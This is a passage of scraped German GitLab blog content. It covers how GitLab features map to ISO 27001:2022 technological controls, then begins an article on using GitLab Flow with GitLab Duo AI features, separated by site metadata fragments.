zu integrieren. |\n\nMit GitLab kannst du unsere [Planungstools](https://about.gitlab.com/features/?stage=plan) für dein Projektmanagement nutzen und so sicherstellen, dass die Informationssicherheit in allen Phasen eines Projektlebenszyklus eingehalten wird.\n\n- Mit der [Teamplanung](https://about.gitlab.com/features/?stage=plan#team_planning) von GitLab können Benutzer(innen) Projektarbeiten von der Idee bis zur Produktion organisieren, planen, abstimmen und nachverfolgen.\n\n- [Epics](https://docs.gitlab.com/ee/user/group/epics/), [Tickets](https://docs.gitlab.com/ee/user/project/issues/) und [Aufgaben](https://docs.gitlab.com/ee/user/tasks.html) können verwendet werden, um gemeinsam an Ideen zu arbeiten, Probleme zu lösen und Arbeiten mit deinem Informationssicherheitsteam zu planen. [Beschreibungsvorlagen](https://docs.gitlab.com/ee/user/project/description_templates.html) und [Checklisten](https://docs.gitlab.com/ee/user/markdown.html#task-lists) ermöglichen es den Benutzer(inne)n, konsistente Beschreibungen und Workflows für Tickets oder [Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) einzuhalten. Mit diesen Vorlagen kann die Informationssicherheit konsistent in deinen Projektmanagement-Lebenszyklus integriert werden.\n\n- [Labels](https://docs.gitlab.com/ee/user/project/labels.html) ermöglichen es Benutzer(inne)n, Probleme so zu organisieren, wie sie es für richtig halten. Im Hinblick auf die Informationssicherheit können Label verwendet werden, um die Risikostufe eines Projekts zu identifizieren, die Phase eines Projekts anzugeben oder das Informationssicherheitsteam zu markieren, das für eine bestimmte Arbeit zuständig ist. [Labels mit begrenztem Geltungsbereich](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) können verwendet werden, um Workflows weitere Logik hinzuzufügen. Sie verhindern nämlich, dass bestimmte Labels zusammen verwendet werden. Bei GitLab nutzen wir [Labels mit begrenztem Geltungsbereich](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels), um die Arbeit, die verschiedenen Teams zugewiesen ist, die Projektphase, in der sich die Arbeit befindet, und das Produkt oder den Funktionsumfang, der mit der Arbeit verbunden ist, zu identifizieren.\n\n![Labels mit begrenztem Geltungsbereich](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/scoped-labels.png)\n\nLabels mit begrenztem Geltungsbereich\n{: .note.text-center}\n\n- Mit [Gruppen-](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) und [Projekt-](https://about.gitlab.com/stages-devops-lifecycle/issueboard/)-Issue-Übersichten kannst du deine Arbeit noch besser organisieren und eine zentrale, zusammengefasste Ansicht für alle mit einer Gruppe oder einem Projekt verbundenen Arbeiten bieten.\n\n## Technologische Controls\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 8.8 Management technischer Sicherheitslücken | Informationen über technische Sicherheitslücken der verwendeten Informationssysteme sind einzuholen, die Exposition des Unternehmens gegenüber solchen Sicherheitslücken ist zu bewerten und geeignete Maßnahmen sind zu ergreifen. |\n| 8.9 Konfigurationsmanagement | Konfigurationen von Hardware, Software, Diensten und Netzwerken, einschließlich Sicherheitskonfigurationen, müssen festgelegt, dokumentiert, implementiert, überwacht und überprüft werden. |\n| 8.25 Sicherer Entwicklungslebenszyklus | Regeln für die sichere Entwicklung von Software und Systemen müssen festgelegt und angewendet werden. |\n| 8.26 Anforderungen an die Anwendungssicherheit | Anforderungen an die Informationssicherheit müssen bei der Entwicklung oder dem Erwerb von Anwendungen identifiziert, spezifiziert und genehmigt werden. |\n| 8.27 Sichere Systemarchitektur und technische Grundsätze | Grundsätze für die Entwicklung sicherer Systeme müssen festgelegt, dokumentiert, gepflegt und bei allen Entwicklungsaktivitäten von Informationssystemen angewendet werden |\n\nMit GitLab kannst du deine Hardware- und Softwarekonfigurationen speichern, die Versionskontrolle verwalten, deine Konfigurationen über [Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) aktualisieren und die [CI/CD-Pipelines](https://docs.gitlab.com/ee/ci/pipelines/) von GitLab nutzen, um diese Konfigurationen in deine Anwendungen und Infrastruktur zu übertragen. Mit GitLab können Unternehmen [GitOps](https://about.gitlab.com/topics/gitops/) über eine einzige Plattform implementieren.\n\nMit dem [Infrastructure-as-Code-Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) von GitLab kannst du deine IaC-Konfigurationsdateien auf bekannte Sicherheitslücken scannen. Das IaC-Scanning von GitLab unterstützt eine Vielzahl von IaC-Konfigurationsdateien und -Sprachen, wodurch es an verschiedene Technologie-Stacks angepasst werden kann.\n\nFür Compliance-Profis ermöglicht GitLab die Implementierung von Automatisierung durch [Compliance-Frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) und [Compliance-Pipelines](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines). Dank dieser Funktionen können Benutzer(innen) kritische Projekte mit bestimmten Compliance-Anforderungen identifizieren und Konfigurationen über Pipelines an diese Projekte pushen. Sie ermöglichen eine konsistente Durchsetzung der Controls und unterstützen dadurch deine Sicherheitslage. Außerdem stellen sie sicher, dass die internen und externen Compliance-Anforderungen deines Unternehmens eingehalten werden.\n\nFür [Ultimate-Kund(inn)en](https://about.gitlab.com/pricing/ultimate/) bietet das [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) von GitLab eine zentrale Ansicht des Compliance-Zustands einer Gruppe, z. B. der verschiedenen Compliance Frameworks, die auf die Projekte in der Gruppe angewendet werden. Du kannst sogar sehen, wie gut du den [GitLab-Standard](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html#gitlab-standard) erfüllst.\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 8.15 Protokollierung | Protokolle, die Aktivitäten, Ausnahmen, Fehler und andere relevante Ereignisse aufzeichnen, sind zu erstellen, zu speichern, zu schützen und zu analysieren. | \n| 8.16 Kontrolle von Überwachungsaktivitäten | Netzwerke, Systeme und Anwendungen müssen auf anomales Verhalten überwacht und geeignete Maßnahmen zur Bewertung potenzieller Informationssicherheitsvorfälle ergriffen werden. |\n\nMit GitLab kannst du [Audit-Ereignisse](https://docs.gitlab.com/ee/administration/audit_events.html) verwenden, um wichtige Ereignisse zu verfolgen, einschließlich der Frage, wer wann die entsprechende Aktion durchgeführt hat. Audit-Ereignisse decken ein breites Spektrum von Kategorien ab, darunter:\n* Gruppenverwaltung\n* Authentifizierung und Autorisierung\n* Benutzerverwaltung\n* Compliance und Sicherheit\n* CI/CD\n* GitLab-Runner\n\n![Audit-Ereignisse](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nBeispiel für ein Audit-Ereignis\n{: .note.text-center}\n\nFür [Ultimate-Kund(inn)en](https://about.gitlab.com/pricing/ultimate/) kann das [Audit-Ereignis-Streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) aktiviert werden. Mit dem Audit-Ereignis-Streaming können Benutzer(innen) ein Streaming-Ziel für eine Gruppe oder Instanz der obersten Ebene festlegen, um alle Audit-Ereignisse über die Gruppe, Untergruppen und Projekte als strukturierte JSON-Datei zu erhalten.\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 8.28 Sichere Programmierung | Bei der Softwareentwicklung sind die Prinzipien des sicheren Programmierens anzuwenden. |\n| 8.29 Sicherheitstests in Entwicklung und Akzeptanz | Sicherheitstestprozesse sind im Entwicklungslebenszyklus zu definieren und umzusetzen. | \n\nDu kannst die Funktionen in der [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) von GitLab nutzen, um den Lebenszyklus deiner Softwareentwicklung zu verbessern und die Sicherheit deiner Produkte zu verbessern. Zu den Funktionen von GitLab in der Sicherungsphase gehören:\n* [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Dynamische Anwendungssicherheitstests (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [Codequalität](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n* [Container-Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [Abhängigkeitssuche](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n\nund vieles mehr!\n\n![Ergebnisse zur Codequalität](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/code-quality-findings.png)\n\nErgebnisse zur Codequalität\n{: .note.text-center}\n\nKompromittierte Geheimnisse sind einer der führenden Katalysatoren für Sicherheitsverletzungen. Die [Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/) von GitLab scannt dein Repository, um zu verhindern, dass deine Geheimnisse aufgedeckt werden.\n\nMit der [Richtlinien-Funktion](https://docs.gitlab.com/ee/user/application_security/policies/) von GitLab können Benutzer(innen) [Scanausführungs-](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) und [Scanergebnis-Richtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) basierend auf konfigurierter Logik implementieren. Diese Richtlinien kombinieren die Scan-Funktionen in der [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) mit [Freigaben für Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), um die Compliance-Anforderungen weiter durchzusetzen.\n\nZusammen bilden die Sicherheitsfunktionen von GitLab die optimale Grundlage für einen sicheren Lebenszyklus der Softwareentwicklung und ermöglichen es dir, die Prinzipien des sicheren Programmierens sowie die Anforderungen deines Unternehmens einzuhalten.\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ----| \n| 8.32 Änderungsmanagement | Änderungen an Informationsverarbeitungseinrichtungen und Informationssystemen unterliegen den Änderungsmanagementverfahren. |\n\nGitLab bietet viele Funktionen, um ein umfassendes Änderungsmanagement zu unterstützen.\n\nMit der Quellcodeverwaltung von GitLab können Benutzer(innen) [geschützte Branches](https://docs.gitlab.com/ee/user/project/protected_branches.html) implementieren. Geschützte Branches ermöglichen es GitLab-Benutzer(inne)n, bestimmte Branches einzuschränken, die als kritisch für den Betrieb angesehen werden. Ein geschützter Branch steuert:\n* welche Benutzer(innen) in den Branch mergen können\n* welche Benutzer(innen) in den Branch pushen können\n* wenn Benutzer(innen) den Push in den Branch erzwingen können\n* ob Änderungen an Dateien, die in der CODEOWNERS-Datei aufgeführt sind, direkt in den Branch gepusht werden können\n* welche Benutzer(innen) den Schutz des Branches aufheben können\n\nDer [Standard-Branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) in einem Repository wird automatisch als geschützter Branch gekennzeichnet.\n\n![Geschützte Branches](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/protected-branches-settings-within-gitlab.png)\n\nEinstellungen für geschützte Branches in GitLab\n{: .note.text-center}\n\nMerge Requests (MR) sind eine Kernkomponente des Softwareentwicklungszyklus. GitLab-Benutzer(innen) können ihre MRs so konfigurieren, dass sie erst freigegeben werden müssen, bevor sie zusammengeführt werden können. Mit MR-Genehmigungen können Benutzer(innen) die Mindestanzahl der erforderlichen Genehmigungen festlegen, bevor Arbeiten in ein Projekt zusammengeführt werden können. Einige Beispiele für Regeln, die du erstellen kannst, sind:\n* Benutzer(innen) mit bestimmten Berechtigungen können Arbeiten jederzeit genehmigen.\n* [Code-Eigentümer(innen)](https://docs.gitlab.com/ee/user/project/codeowners/index.html) können Arbeiten für Dateien genehmigen, die sie besitzen.\n* Benutzer(innen) mit bestimmten Berechtigungen können Arbeiten im Repository genehmigen, [auch wenn sie keine Merge-Rechte haben](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties).\n* Benutzer(inne)n mit bestimmten Berechtigungen kann die Möglichkeit gewährt oder verweigert werden, [Genehmigungsregeln für eine bestimmte Merge Request zu überschreiben](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nWie bereits erwähnt, können [Tickets](https://docs.gitlab.com/ee/user/project/issues/) und [Aufgaben](https://docs.gitlab.com/ee/user/tasks.html) verwendet werden, um Änderungsanfragen zu dokumentieren und zusammenzuarbeiten. [Beschreibungsvorlagen](https://docs.gitlab.com/ee/user/project/description_templates.html) ermöglichen es den Benutzer(inne)n, konsistente Beschreibungen für Tickets oder [MRs](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) einzuhalten. Mit diesen Vorlagen kann ein konsistenter Ansatz verfolgt werden, um Änderungen in einer Weise anzufordern, die am besten zu deinem Unternehmen passt.\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n## Mehr erfahren\nAls umfassende DevSecOps-Plattform unterstützt GitLab ein breites Spektrum an Anforderungen. ISO hat in der Version 2022 der ISO-Norm zusätzliche Controls für sicheres Programmieren und Konfigurationsmanagement hinzugefügt. Dies zeigt, dass Zertifizierungsstellen insgesamt einen verstärkten Fokus auf die Softwaresicherheit legen. Als strategischer Partner kann GitLab dir dabei helfen, die ISO 27001 einzuhalten und schneller bessere Software zu entwickeln.\n\nWeitere Informationen zu diesen Funktionen findest du in unserer [Tutorial-Bibliothek](https://docs.gitlab.com/ee/tutorials/).",[1423],"2023-09-06",[765,745,1057],{"slug":3485,"featured":6,"template":682},"how-gitlab-can-support-your-iso-compliance-journey","content:de-de:blog:how-gitlab-can-support-your-iso-compliance-journey.yml","How Gitlab Can Support Your Iso Compliance Journey","de-de/blog/how-gitlab-can-support-your-iso-compliance-journey.yml","de-de/blog/how-gitlab-can-support-your-iso-compliance-journey",{"_path":3491,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3492,"content":3497,"config":3502,"_id":3504,"_type":16,"title":3505,"_source":17,"_file":3506,"_stem":3507,"_extension":20},"/de-de/blog/gitlab-flow-duo",{"title":3493,"description":3494,"ogTitle":3493,"ogDescription":3494,"noIndex":6,"ogImage":1094,"ogUrl":3495,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3495,"schema":3496},"Kombiniere GitLab Flow und GitLab Duo für starke Workflows","Erweitere GitLab Flow um die KI-basierten Funktionen von GitLab Duo, um deine DevSecOps-Workflows so effizient wie noch nie zuvor zu machen (Tutorial mit Video).","https://about.gitlab.com/blog/gitlab-flow-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kombiniere GitLab Flow und GitLab Duo für starke Workflows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2023-07-27\",\n      }\n                  ",{"title":3493,"description":3494,"authors":3498,"heroImage":1094,"date":3499,"body":3500,"category":677,"tags":3501,"updatedDate":1915},[888],"2023-07-27","Für den Einstieg in DevSecOps ist ein gut durchdachter Workflow nötig – doch das kann oft eine echte Herausforderung sein. Zum Glück gibt es zwei Dinge, die dir dabei helfen können: \n\n**GitLab Flow und GitLab Duo.**\n\nGitLab Flow ist ein vorgefertigter Ansatz, der Unternehmen dabei hilft, DevSecOps-Prozesse erfolgreich umzusetzen. GitLab Duo ist ein [leistungsstarkes Set an KI-basierten Funktionen](https://about.gitlab.com/blog/supercharge-productivity-with-gitlab-duo/) in der DevSecOps-Plattform von GitLab, das Unternehmen dabei helfen kann, Code zu entwickeln, den Betrieb zu optimieren und Software effizienter zu schützen. Zusammen helfen GitLab Flow und GitLab Duo Unternehmen dabei, die Effizienz ihrer Workflows durchgängig deutlich zu verbessern. Das führt dann zu noch höherer Produktivität, Bereitstellungshäufigkeit, Codequalität und Sicherheit sowie zu Resilienz und Verfügbarkeit der Produktion.\n\nIn diesem Artikel erfährst du, wie GitLab Flow und GitLab Duo zusammen dazu beitragen können, Unternehmen mit DevSecOps zum Erfolg zu führen.\n\n > Entdecke die Zukunft von KI-gestützter Softwareentwicklung mit unserem virtuellen Launch-Event zu GitLab 17.  [Jetzt ansehen!](https://about.gitlab.com/de-de/seventeen/)\n\n## Was ist GitLab Flow?\nGitLab Flow ist ein vorgefertigter, festgelegter und durchgängiger Workflow für den Entwicklungslebenszyklus von Anwendungen mit GitLab, einer KI-basierten DevSecOps-Plattform, die eine einheitliche Benutzeroberfläche und ein einheitliches Datenmodell bietet. GitLab Flow baut auf bewährten Methoden und Erfahrungen aus Kundenfeedback und unserem Dogfooding auf. Außerdem deckt GitLab Flow alle [Phasen des DevSecOps-Lebenszyklus](https://about.gitlab.com/de-de/stages-devops-lifecycle/) ab und ermöglicht so einen effizienten Workflow, der aus einer inneren Feedbackschleife für Reviews bestimmter Updates sowie einer äußeren Feedbackschleife für die Verbesserung der gesamten Anwendung sowie des Entwicklungsprozesses an sich besteht.\n\n![Innere und äußere Feedbackschleifen von GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-feedback-loops.png)\n\u003Ccenter>Innere und äußere Feedbackschleifen von GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nWie du an den vielen Phasen in GitLab Flow erkennen kannst, besteht die Entwicklung einer Software aus viel mehr als dem reinen Programmieren. Im Folgenden erfährst du mehr über jeden Schritt von GitLab Flow und darüber, wie GitLab Duo dich dabei unterstützen kann.\n\n### Planen\nDas erste Element von GitLab Flow ist die Planung, die sich in der äußeren Feedbackschleife von GitLab Flow befindet. Sie umfasst Tickets, Merge Requests, Epics, Meilensteine, Iterationen, Veröffentlichungen, Release-Nachweise und mehr. Im Folgenden erfährst du, welche Rolle diese Komponenten in GitLab Flow spielen und wie dich GitLab Duo dabei unterstützen kann.\n\n![Planen – das erste Element in GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-planning-portion.png)\n\u003Ccenter>Planen – das erste Element in GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\n#### Tickets\nTickets sind die Elemente, in denen Produktprobleme oder neue Funktionen definiert werden und in denen Teammitglieder zusammenarbeiten können. Wenn ein Ticket erstellt wird, kannst du seinen Titel ausfüllen und dann die Funktion GitLab Duo **Issue Description Generation** nutzen, um die Beschreibung zu erstellen. So sparst du Zeit und hast weniger Aufwand. Da viele Beteiligte an Kommentar-Threads in einem Ticket mitarbeiten können, ist die **Diskussionszusammenfassung** eine KI-basierte Funktion von GitLab Duo, die dir hunderte Kommentare zu einem Ticket in einem kurzen Absatz zusammenfasst. So erhalten die Beteiligten rasch einen Überblick über die Konversation, können sich direkt an der Diskussion beteiligen und sofort produktiv werden.\n\nTickets können in Issue-Übersichten organisiert und visualisiert werden. Dabei handelt es sich um ein Software-Projektmanagementtool, das als Kanban- oder Scrum-Board eingesetzt werden kann. Mit diesen Boards können Teams den Workflow einer Funktion oder einer Produkt-Release einfacher planen, organisieren und visualisieren. Es können verschiedene Kategorien von Boards erstellt werden, wobei Tickets ganz einfach per Drag & Drop von einem zum anderen gezogen werden können.\n\n#### Merge Requests\nMerge Requests sind die Elemente, in denen Lösungen entwickelt werden. Tickets und Merge Requests sind Bestandteile einer Release und ermöglichen, dass Änderungen an Anwendungen, die von Beteiligten wie DevOps und Platform Engineers, System- und Datenbankadministrator(innen), Security Engineers und Entwickler(inne)n vorgenommen werden, überprüft und nachverfolgt werden können. Darüber hinaus sind Tickets und Merge Requests wichtige Inputs für den Release-Planungsprozess.\n\nMerge Requests können einzeln oder aus einem Ticket erstellt werden. Wenn du ein Merge Request aus einem Ticket erstellst, wird es automatisch dem Ticket zugeordnet. Wenn der Merge Request dann zusammengeführt wird, wird das zugehörige Ticket automatisch geschlossen. Merge Requests können auch manuell mit einem Ticket verknüpft werden.\n\n![Der Merge Request schließt das Ticket](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/mr-with-its-issue.png)\n\u003Ccenter>Der Merge Request schließt das Ticket\u003C/center>\u003Cp>\u003C/p>\n\nÄhnlich wie Tickets können auch Merge Requests eine lange Liste an Updates an einem Feature-Branch, die durch verschiedene Beteiligte vorgenommen wurden, enthalten. Mitwirkende, die sich mit den Updates vertraut machen möchten oder alle Updates in einem Merge Request verstehen müssen, können die Funktion **Merge-Request-Zusammenfassung** in GitLab Duo nutzen, um einen raschen Überblick über die Änderungen zu erhalten. Darüber hinaus können die Mitwirkenden mit der Funktion GitLab Duo **Code Merge Request Template Population** eine vorab erstellte Merge-Request-Vorlage heranziehen, die automatisch mit den entsprechenden Inhalten ausgefüllt wird. Beschreibungsvorlagen sind eine Möglichkeit, die Zusammenarbeit und Kommunikation im gesamten Entwicklungslebenszyklus zu standardisieren und zu optimieren – und mit GitLab Duo geht das noch schneller!\n\nTickets mit demselben Thema können in einem Epic gruppiert werden, um die zu erledigenden Arbeiten zu organisieren. Epics können untergeordnete Tickets und Sub-Epics haben und/oder mit anderen Epics im gesamten Unternehmen verknüpft werden. Mit Iterationen können Sprints nachverfolgt werden, und sie können manuell oder mithilfe von Iterationskadenzen automatisch geplant werden, um die Planungs-Workflows zu optimieren. Außerdem umfassen Iterationen Abarbeitungs- und Burnup-Diagramme. Abarbeitungsdiagramme helfen dabei, den Gesamtfortschritt im Projektumfang nachzuverfolgen, während Burnup-Diagramme die tägliche Anzahl und Gewichtung von Tickets messen, die in einer bestimmten Timebox hinzugefügt und abgeschlossen wurden.\n\n#### Meilensteine\nMithilfe von Meilensteinen können Teams ihre Tickets und Merge Requests in einer zusammenhängenden Gruppe mit optionalem Start- und Fälligkeitsdatum organisieren. Meilensteine werden in der Regel verwendet, um Releases nachzuverfolgen. Außerdem kann man mit ihnen Tickets und Merge Requests auf Projekt- oder Gruppenebene nachverfolgen. Ähnlich wie Iterationen gibt es auch bei Meilensteinen Abarbeitungs- und Burnup-Diagramme, die den Fortschritt zeigen.\n\nMeilensteine können mit einer Release verknüpft werden, bei deren Erstellung automatisch Artefakte wie etwa ein Release-Nachweis erstellt werden. Der Release-Nachweis ist eine automatisch gesammelte Momentaufnahme der Daten, die mit dieser Release zusammenhängen. Neben Testartefakten und verknüpften Meilensteinen kann der Release-Nachweis auch Jobartefakte enthalten, die sich auf interne Prozesse wie externe Audits beziehen.\n\nEpics, Meilensteine und Iterationen können über Roadmaps visualisiert werden, die dir dabei helfen, den Release-Fortschritt nachzuverfolgen und den Release-Prozess zu optimieren.\n\nSobald die Planung erfolgt ist, können die Arbeiten beginnen, die für die Lösung eines Problems oder die Entwicklung einer neuen Funktion erforderlich sind. Dies geschieht in Merge Requests. Im Folgenden erfährst du, wie das in GitLab Flow funktioniert. \n\n> [Erfahre mehr, indem du GitLab Flow und GitLab Duo ausprobierst](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fblog%2F).\n\n### Merge Requests und Pushen von Code\n\n![Merge Requests und Pushen von Code – das zweite Element in GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-mr-pushing-code-portion.png)\n\u003Ccenter>Merge Requests und Pushen von Code – das zweite Element in GitLab Flow \u003C/center>\u003Cp>\u003C/p>\n\nDas zweite Element von GitLab Flow betrifft Merge Requests und das Pushen von Code. Wie bereits erwähnt sind Merge Requests jene Orte, an denen die Beteiligten in einem Unternehmens an Lösungen zusammenarbeiten. Diese Zusammenarbeit kann verteilt und asynchron erfolgen. Die Mitwirkenden können die Kooperationsfunktionen wie Tagging, Inline-Vorschläge, Inline-Kommentare, Merge-Request-Kommentare, Review Threads und Review Requests nutzen, um gemeinsam die Codequalität, Verfügbarkeit, Zuverlässigkeit und Leistung zu verbessern. Direkt nach der Erstellung eines Merge Requests beginnt die innere Feedbackschleife von GitLab Flow, in der Code, Fix-Pushes, Tests und Scans durchgeführt werden. Hier finden außerdem Reviews zur Zusammenarbeit und zu Updates statt.\n\n#### Pipelines\nWenn Updates über Merge Requests auf einen Feature-Branch angewendet werden, werden automatisch Pipelines ausgeführt, falls diese vorab festgelegt wurden. Pipelines können mehrere Phasen und Jobs haben, um die Anwendung oder den Microservice in einer Review-Umgebung zu erstellen, zu testen und dann bereitzustellen. In dieser Review-Umgebung können Updates dynamisch verifiziert werden, bevor sie in den Haupt-Branch zusammengeführt werden. Diese Automatisierung trägt dazu bei, den Update- und Review-Prozess von Anwendungen zu optimieren.\n\nZudem stellen DevSecOps-Teams, die über Merge Requests Updates an Anwendungen vornehmen, eine Vielzahl an KI-basierten Funktionen zur Verfügung. Wenn sie Code schreiben oder aktualisieren, kann GitLab Duo **Codevorschläge** Code empfehlen, der an dieser Stelle passen würde, und die Entwickler(innen) können entscheiden, ob sie diese Empfehlung annehmen oder ignorieren möchten. Codevorschläge unterstützen dich bei der Codeerstellung über Prompts sowie durch die Code-Vervollständigung, die angezeigt wird, während du schreibst. Codevorschläge können das Programmiererlebnis verbessern, indem sie Fehler reduzieren und es den Entwickler(inne)n ermöglichen, schneller Code zu schreiben. Dies trägt wiederum dazu bei, die Qualität des Produktionscodes zu verbessern. Codevorschläge können außerdem zu einer höheren Produktivität der Entwickler(innen) und schnelleren Iterationen und Rollouts führen.\n\nDa verschiedene Stakeholder innerhalb der Organisation an der Entwicklung oder Überprüfung von Anwendungen beteiligt sind, können sie auf Code stoßen, der schlecht dokumentiert, komplex oder schwer zu verstehen ist oder in einer ihnen unbekannten Programmiersprache geschrieben ist. Die Funktion **Codeerläuterung** von GitLab Duo erklärt den Code in natürlicher Sprache, sodass jeder den Code verstehen und schnell auf dem neuesten Stand sein kann.\n\nWenn Aktualisierungen in den Feature-Branch committet werden, verwendet die GitLab-Duo-Funktion **Vorgeschlagene Prüfer(innen)** die Änderungen in einem Merge Request und das Mitarbeiterdiagramm eines Projekts, um geeignete Prüfer(innen) im Dropdown in der Seitenleiste des Merge Request vorzuschlagen. Die Liste enthält Benutzer(innen), die sich mit einem bestimmten Aspekt der Anwendung auskennen und daher am besten dazu geeignet sind, die Updates zu überprüfen. Entwickler(innen) sparen Zeit, da sie die am besten geeignet Prüfer(innen) nicht suchen und identifizieren müssen sowie den Überprüfungsprozess rationalisieren und Verzögerungen und Reviews von geringer Qualität vermeiden können.Wenn Entwickler(innen) Änderungen am Code vornehmen, fügen sie im Merge Request oft keine Kommentare zu den spezifischen Änderungen hinzu, die sie vorgenommen haben. Mit der **Merge-Request-Zusammenfassung** von GitLab Duo kann die bzw. der Autor(in) von Merge-Request-Änderungen mithilfe der KI einen Kommentar in natürlicher Sprache generieren, der die Updates am Code zusammenfasst. Prüfer(innen) können dann die Änderungen besser verstehen und den gesamten Überprüfungsprozess optimieren.\n\nWenn Prüfer(innen) Updates des Codes in einem Merge Request überprüfen, können sie den Merge Request blockieren. Die Begründung kann aus vielen Kommentaren bestehen, die sich über viele Quelldateien erstrecken. Um der bzw. dem ursprünglichen Autor(in) der Updates zu helfen, das Feedback der Prüferin oder des Prüfers in einem langen Block besser zu verstehen, erstellt die **Code-Review-Zusammenfassung** von GitLab Duo eine Zusammenfassung des Feedbacks der Prüferin bzw. des Prüfers in natürlicher Sprache. Dies ermöglicht eine bessere Übergabe zwischen Autor(inn)en und Prüfer(inne)n, wodurch der Review-Prozess optimiert wird.\n\nWenn Entwickler(innen) neuen Code über einen Merge Request hinzufügen, können sie außerdem die **Testgenerierung** von GitLab Duo nutzen, die mithilfe von KI Unit-Tests für den neuen Code generiert. Dies kann dazu beitragen, die Produktivität der Entwickler(innen) zu erhöhen, die Testabdeckung zu verbessern und Fehler frühzeitig im Entwicklungslebenszyklus zu erkennen. Entwickler(innen) können auch den jederzeit verfügbaren **Chat** von GitLab Duo nutzen, um Code zu refaktorisieren und Inline-Dokumentation wie z. B. Docstrings für ihren Quellcode erstellen.\n\nPipelines werden auf Branch-Updates ausgeführt und können automatisierte Tests und Scans enthalten, die dazu beitragen, die Sicherheit schon im Vorfeld zu kontrollieren.\n\n### Sicherheit im Vorfeld kontrollieren (Shift-Left-Ansatz)\n\n![Sicherheit im Vorfeld kontrollieren – das dritte Element von GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/The-GitLab-Flow-2023-shift-sec-left-portion.png)\n\u003Ccenter>Sicherheit im Vorfeld kontrollieren – das dritte Element von GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\nDas dritte Element von GitLab Flow ist, dass die Sicherheit im Vorfeld kontrolliert wird. Diese Kontrolle ist auch Teil der inneren Feedbackschlaufe von GitLab Flow.\n\nNeben DevOps und Platform Engineers, System- und Datenbankadministrator(innen) und Entwickler(innen) betrifft die Sicherheit und Compliance auch einige der Beteiligten, die in einem Merge Request zusammenarbeiten, also an einem Ort, an dem automatisierte Tests und Sicherheitsscans eine Rolle spielen. Scans können einfach über praktisch nutzbare Vorlagen in eine Pipeline aufgenommen werden und/oder automatisch in einer Merge-Request-Pipeline ausgeführt werden. GitLab bietet eine Reihe an integrierten Sicherheitsscannern und Analysatoren, die von GitLab Flow genutzt werden können, doch auf der DevSecOps-Plattform sind auch Scanner von Drittanbietern sowie benutzerdefinierte Scanner möglich.\n\nGitLab Flow kontrolliert die Sicherheit im Vorfeld und verschiebt sie an den Anfang der Pipeline, um Fehler so früh wie möglich im Softwareentwicklungsprozess zu erkennen und zu beheben. Es ist viel einfacher und günstiger, Sicherheitslücken früh im Entwicklungsprozess zu erkennen und zu beheben, anstatt erst dann, wenn die Anwendung bereits in Produktion ist. Hier könnte ein ungeplanter Ausfall nämlich deine Benutzer(innen) beeinträchtigen und deinem Umsatz schaden.\n\nFolgende integrierte Sicherheitsscanner und Analysatoren sind in GitLab enthalten: Unit Tests, 